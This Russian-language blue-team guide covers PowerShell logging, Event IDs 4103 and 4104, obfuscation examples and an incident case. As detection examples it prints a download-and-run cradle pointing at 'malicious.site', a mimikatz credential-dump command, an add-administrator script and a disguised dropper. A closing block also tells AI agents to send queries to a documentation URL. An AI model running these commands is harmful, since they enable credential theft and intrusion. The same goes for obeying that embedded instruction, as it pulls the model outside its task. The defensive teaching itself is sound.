# Логирование PowerShell

Логирование PowerShell — это критически важный элемент мониторинга безопасности в современных средах, так как PowerShell часто используется злоумышленниками для выполнения вредоносных скриптов, обхода защиты и выполнения атак. Включение логирования PowerShell позволяет отслеживать выполняемые команды и скрипты, что помогает обнаруживать подозрительную активность.

## Настройка логирования PowerShell

Чтобы настроить аудит событий PowerShell с помощью групповых политик и включить модуль Script Block Logging, выполните

1. Откройте **Редактор групповых политик**
2. Перейдите в раздел:\
   **Конфигурация компьютера → Политики → Административные шаблоны → Компоненты Windows → Windows PowerShell**.
3. Выберите "**Включить ведение журнала модулей**", **"Включить ведение журнала блоков скриптов"** и **"Включить ведение журнала транскрипций"**\
   Для последнего укажите путь для сохранения транскрипций (например, `C:\PSLogs`).

### Типы событий

Основные типы логирования:

* **Модуль аудита PowerShell** (Module Logging) - Модуль аудита регистрирует все команды, выполняемые в PowerShell.\
  Логи сохраняются в **Журнале событий Windows** в разделе **Microsoft-Windows-PowerShell/Operational** с **Event ID 4103**\
  \
  Регистрируются:\
  \- Отдельные команды, выполняемые в PowerShell.\
  \- Если запущен скрипт, то на каждый вызов PowerShell Cmdlet будет зарегистрировано отдельное событие\
  \- Если используется алиас (например, `gci` вместо `Get-ChildItem`), в логах будет записан командлет `Get-ChildItem`.\\
* **Логирование блоков скриптов** (Script Block Logging) - Логирование блоков скриптов регистрирует содержимое скриптов, выполняемых в PowerShell.\
  Логи сохраняются в **Журнале событий Windows** в разделе **Microsoft-Windows-PowerShell/Operational** с **Event ID 4104**\
  \
  Регистрируются:\
  \&#xNAN;**-** Полное содержимое скриптов, выполняемых в PowerShell.\
  \- Регистрируется весь блок кода, включая команды, циклы, условия и функции.

{% hint style="info" %}
Если скрипт PowerShell очень длинный, событие с ID 4104 регистрируется как несколько событий.\
В каждом событии вы найдете поле **Script Block**, которое содержит часть тела скрипта.\
Также в каждом событии есть указание, на сколько всего блоков был разбит скрипт (MessageTotal) и порядковый номер текущего (MessageNumber).
{% endhint %}

* **Логирование транскрипций** (Transcript Logging).\
  Логирование транскрипций сохраняет все действия, выполненные в сессии PowerShell, в текстовый файл.

{% hint style="info" %}
Мы обычно используем только 4103 и 4104
{% endhint %}

## Сравнение событий PowerShell **Event ID 4103** и **Event ID 4104**

Оба события связаны с логированием активности PowerShell, но они регистрируют разные аспекты выполнения команд и скриптов.

### Выполнение скрипта из файла

Предположим, что атакующий запускает PowerShell и выполняет так скрипт `add_admin.ps1`. При этом зарегистрируется событие Event ID 4104, где в поле `ScriptBlockText` будет полное тело скрипта:

```powershell
$randomNumber = Get-Random -Minimum 1000 -Maximum 9999
$username = "Admin_$randomNumber"
$password = ConvertTo-SecureString -String "P@ssw0rd" -AsPlainText -Force
New-LocalUser -Name $username -Password $password -PasswordNeverExpires
Add-LocalGroupMember -Group "Administrators" -Member $username
```

При этом будет зарегистрировано 4 отдельных событий Event ID 4103, в поле `Payload` будут соответствующие записи каждому вызванному командлету:

```powershell
CommandInvocation(Get-Random): "Get-Random"
ParameterBinding(Get-Random): name="Minimum"; value="1000"
ParameterBinding(Get-Random): name="Maximum"; value="9999"

CommandInvocation(ConvertTo-SecureString): "ConvertTo-SecureString"
ParameterBinding(ConvertTo-SecureString): name="String"; value="P@ssw0rd"
ParameterBinding(ConvertTo-SecureString): name="AsPlainText"; value="True"
ParameterBinding(ConvertTo-SecureString): name="Force"; value="True"

CommandInvocation(New-LocalUser): "New-LocalUser"
ParameterBinding(New-LocalUser): name="Name"; value="Admin_6947"
ParameterBinding(New-LocalUser): name="Password"; value="System.Security.SecureString"
ParameterBinding(New-LocalUser): name="PasswordNeverExpires"; value="True"

CommandInvocation(Add-LocalGroupMember): "Add-LocalGroupMember"
ParameterBinding(Add-LocalGroupMember): name="Group"; value="Administrators"
ParameterBinding(Add-LocalGroupMember): name="Member"; value="Admin_6947"
```

При этом `Script Name` в `ContextInfo` каждого из Event ID 4103 будет содержать полный путь до скрипта `add_admin.ps1`.

Стоит обратить внимание, что в Event Id 4103 видны конкретные значения того, что в теле скрипта передается как параметры.

### Псевдонимы командлетов (cmdlet alias) в Event ID 4103

У командлетов PowerShell бывают алиасы (псевдонимы) — это короткое или альтернативное имя для командлета, функции или скрипта. Псевдонимы позволяют быстрее вводить команды, экономя время. Некоторые уже определены в системе, но можно задавать и произвольные.

Если в консоли powershell ввести псевдоним, то в Event ID 4104 залогируется так, как ввел пользователь, а вот в 4103 будет виден исходный полный командлет

```powershell
// 4104
tnc 10.10.183.100 -port 443

// 4103
CommandInvocation(Write-Progress): "Write-Progress"
ParameterBinding(Write-Progress): имя="Activity"; значение="Test-NetConnection - 10.10.183.100:443"
ParameterBinding(Write-Progress): имя="Status"; значение="Attempting TCP connect"
ParameterBinding(Write-Progress): имя="CurrentOperation"; значение="Waiting for response"
ParameterBinding(Write-Progress): имя="SecondsRemaining"; значение="-1"
ParameterBinding(Write-Progress): имя="PercentComplete"; значение="-1"
```

То есть обфускация при правильно настроенном логирования powershell практически теряет свою пользу. Хотя бывает полезно просто искать ее следы.

<details>

<summary>Примеры обфускаций</summary>

Обфусцированный (запутанный) PowerShell-код часто используется в вредоносных скриптах или для сокрытия логики от анализа.

***

**1. Строки в виде чисел (Char-коды)**

```powershell
$code = "105 101 120 40 34 87 114 105 116 101 45 72 111 115 116 32 39 72 101 108 108 111 44 32 87 111 114 108 100 33 39 34 41"
$command = ($code -split ' ' | ForEach-Object { [char][int]$_ }) -join ''
Invoke-Expression $command
```

**Что делает?**\
→ Преобразует ASCII-коды в строку `Write-Host 'Hello, World!'` и выполняет её.

***

**2. Base64-кодирование**

```powershell
$encoded = "VwByAGkAdABlAC0ASABvAHMAdAAgACcASABlAGwAbABvACwAIABXAG8AcgBsAGQAIQAiAA=="
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
Invoke-Expression $decoded
```

**Что делает?**\
→ Декодирует строку `Write-Host 'Hello, World!'` из Base64 и выполняет её.

***

**3. Разделение строки и соединение**

```powershell
$str1 = "Wri"
$str2 = "te-Ho"
$str3 = "st 'Hello"
$str4 = ", World!'"
$cmd = $str1 + $str2 + $str3 + $str4
iex $cmd
```

**Что делает?**\
→ Собирает команду `Write-Host 'Hello, World!'` из частей и выполняет через `iex` (`Invoke-Expression`).

***

**4. Использование переменных с подменой символов**

```powershell
${_} = "iex"
${__} = "Wr" + "ite-Ho" + "st"
${___} = "'Hello, World!'"
& ${_} (${__} + " " + ${___})
```

**Что делает?**\
→ Собирает команду через переменные с неочевидными именами и выполняет её.

***

**5. Рекурсивный вызов с зашифрованными данными**

```powershell
function Invoke-Magic {
    param([string]$s)
    $decoded = $s.ToCharArray() | ForEach-Object { [char]([int]$_ - 1) }
    iex (-join $decoded)
}
Invoke-Magic "Xsfujt!Iptu#!Xpsme$"
```

**Что делает?**\
→ Расшифровывает строку (`Write-Host 'Hello, World!'` смещением символов) и выполняет её.

***

**6. Использование `Invoke-Command` с закодированным ScriptBlock**

```powershell
$script = {
    $a = "Wri"
    $b = "te-Ho"
    $c = "st 'Hello, World!'"
    & ($a + $b + $c)
}
Invoke-Command -ScriptBlock $script
```

**Что делает?**\
→ Собирает команду внутри ScriptBlock и выполняет её.

</details>

### Запуск процесса из PowerShell

Если атакующий просто запускает процесс из powershell, то под капотом генерируется вызов командлета `Invoke-Expression`.

```
// 4104. ScriptBlockText
ping google.com

// 4103. Payload
CommandInvocation(Invoke-Expression): "Invoke-Expression"
ParameterBinding(Invoke-Expression): name="Command"; value="ping google.com
"
CommandInvocation(Out-String): "Out-String"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Pinging google.com [64.233.162.100] with 32 bytes of data:"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=2ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=3ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=4ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=1ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Ping statistics for 64.233.162.100:"
ParameterBinding(Out-String): name="InputObject"; value="    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),"
ParameterBinding(Out-String): name="InputObject"; value="Approximate round trip times in milli-seconds:"
ParameterBinding(Out-String): name="InputObject"; value="    Minimum = 1ms, Maximum = 4ms, Average = 2ms"
```

Если атакующий запускает процесс PowerShell следующим образом:

```
powershell -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7AAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAEEAcABwAGwAaQBjAGEAdABpAG8AbgBcAGMAaAByAG8AbQBlAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtACIAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQAgADsAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACQAXwAuAFAAcgBvAGMAZQBzAHMATgBhAG0AZQAgAC0AZQBxACAAIgBjAGgAcgBvAG0AZQAiAH0AIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMA
```

То в событии старта процесса (Event ID 4688, Sysmon 1) увидим закодированную base64 (base64-encoded) строку (Расшифровать можно в [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64\('A-Za-z0-9%2B/%3D',true,false\))). Однако в EventID 4103 и 4104 будет видно, что на самом деле выполнялось:

```
// 4104
$ProgressPreference = "SilentlyContinue";Start-Process -FilePath "C:\Program Files\Google\Chrome\Application\chrome.exe" -ArgumentList "https://github.com"; Start-Sleep -Seconds 15 ; Get-Process | Where-Object {$_.ProcessName -eq "chrome"} | Stop-Process

// 4103
CommandInvocation(Start-Process): "Start-Process"
ParameterBinding(Start-Process): name="FilePath"; value="C:\Program Files\Google\Chrome\Application\chrome.exe"
ParameterBinding(Start-Process): name="ArgumentList"; value="https://github.com"
```

{% hint style="info" %}
Для того, чтобы выполнить в PowerShell base64 encoded команду, необязательно полностью писать ключ `-EncodedCommand`\
`-enc` - достаточно\
`-enco`, -en - тоже\
`-ec` - кстати, тоже работает\
`-ˆeˆc` - и сам ключ тоже можно обфусцировать\
Подробнее: <https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/>
{% endhint %}

## Известные PowerShell инструменты

* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
* [ADRecon](https://github.com/adrecon/ADRecon)
* [PrivescCheck](https://github.com/itm4n/PrivescCheck)
* [Empire](https://github.com/BC-SECURITY/Empire)
* [Nishang](https://github.com/samratashok/nishang)
* [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)
* [BloodHound](https://github.com/BloodHoundAD/BloodHound)

Все они включают довольно специфичные командлеты, правила обнаружения для них достаточно просты, но точно полезными.

### **Примеры подозрительных команд и скриптов**

* **Загрузка и выполнение скриптов из интернета**:\
  Ищите команды, связанные с обходом защиты, запуском скриптов или взаимодействием с внешними ресурсами (например, `FromBase64String` `DownloadString`, `Net.WebClient`)

  ```
  Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')
  ```
* **Обход защиты**:

  ```
  Set-ExecutionPolicy Bypass -Scope Process
  ```
* **Создание скрытых процессов**:

  ```
  Start-Process -WindowStyle Hidden -FilePath "C:\Windows\System32\cmd.exe"
  ```
* **Использование утилит для взлома**:

  ```
  mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
  ```

### Интересное из практики

Не всегда скачивание вредоносного файла выглядит как скачивание вредоносного файла. Злоумышленники часто используют маскировку под легитимные файлы для обхода систем защиты.

В реальной инцидент-респонс практике встречался следующий сценарий:

**Шаг 1: Загрузка файла с расширением .MP3**

```cmd
"C:\Windows\System32\cmd.exe" /c ""tools\driverpack-wget.exe" --tries=3 --timeout 5 --retry-connrefused --wait=5 --timestamping --directory-prefix="C:\Users\ADMINI~1\AppData\Local\Temp\beetle-cab\DriverPack\audio\ru" "http://dl.driverpack.io/assistant/beetle/audio/ru/START-INITIAL-1.mp3" -o "C:\Users\Administrator\AppData\Roaming\DRPSu\temp\wget_log_90216.log" & echo DONE > "C:\Users\Administrator\AppData\Roaming\DRPSu\temp\wget_finished_90216.txt""
```

**Что видно на первый взгляд:**

* Скачивается файл с расширением `.mp3` (якобы аудиофайл)
* Якобы сохранение лога в `.log` файл
* Сигнал завершения в `.txt` файл

**Что на самом деле:**

* Файл `.mp3` содержит PowerShell-скрипт, а не аудио
* Текст скрипта записывается в `.log` файл

**Шаг 2: Исполнение скрипта**

```powershell
powershell -NonInteractive -NoLogo -NoProfile -ExecutionPolicy Bypass "Get-Content 'C:\Users\Administrator\AppData\Roaming\DRPSu\temp\wget_log_90216.log' -Wait | Invoke-Expression"
```

**На что стоило бы обратить внимание:**

| Индикатор                         | Почему подозрительно                             |
| --------------------------------- | ------------------------------------------------ |
| `.mp3` в Temp                     | Медиафайлы редко хранятся во временных папках    |
| `Get-Content + Invoke-Expression` | Классическая техника выполнения скрипта из файла |
| `-Wait` параметр                  | Ожидание появления файла — признак дроппера      |

{% hint style="info" %}
**Важно:** Обращайте внимание не только на расширения файлов, но и на:

1. Контекст использования (Temp-папки для "медиафайлов")
2. Способ исполнения (Get-Content + IEX)
3. Сетевые соединения (загрузка с необычных доменов)
   {% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vasilisa-l.gitbook.io/blue-team-cookbook/windows/audit/powershell-logs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
